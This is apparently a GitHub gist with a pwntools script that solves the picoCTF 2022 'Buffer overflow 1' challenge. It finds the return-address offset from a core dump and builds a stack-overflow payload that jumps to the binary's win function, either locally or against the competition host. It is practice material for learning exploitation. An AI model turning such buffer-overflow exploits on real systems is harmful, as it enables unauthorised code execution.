Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@jktrn
Last active June 17, 2022 04:56
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jktrn/b1586f403c6ae31ce0e128b8f96faad6 to your computer and use it in GitHub Desktop.
Save jktrn/b1586f403c6ae31ce0e128b8f96faad6 to your computer and use it in GitHub Desktop.
Automated solve for the pwn/binary challenge "Buffer overflow 1" from the picoCTF 2022 competition.
from pwn import *
elf = context.binary = ELF('./vuln') # sets context + elf object
host, port = 'saturn.picoctf.net', [PORT]
p = process(elf.path) # references elf object
p.sendline(cyclic(128)) # sends cyclic pattern to crash
p.wait() # sigsegv generates core dump
core = Coredump('./core') # parse core dump file
payload = flat({
cyclic_find(core.eip): elf.symbols.win # offset:address
})
if args.REMOTE: # remote process if arg
p = remote(host, port)
else:
p = process(elf.path)
p.sendline(payload)
p.interactive() # receives flag
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment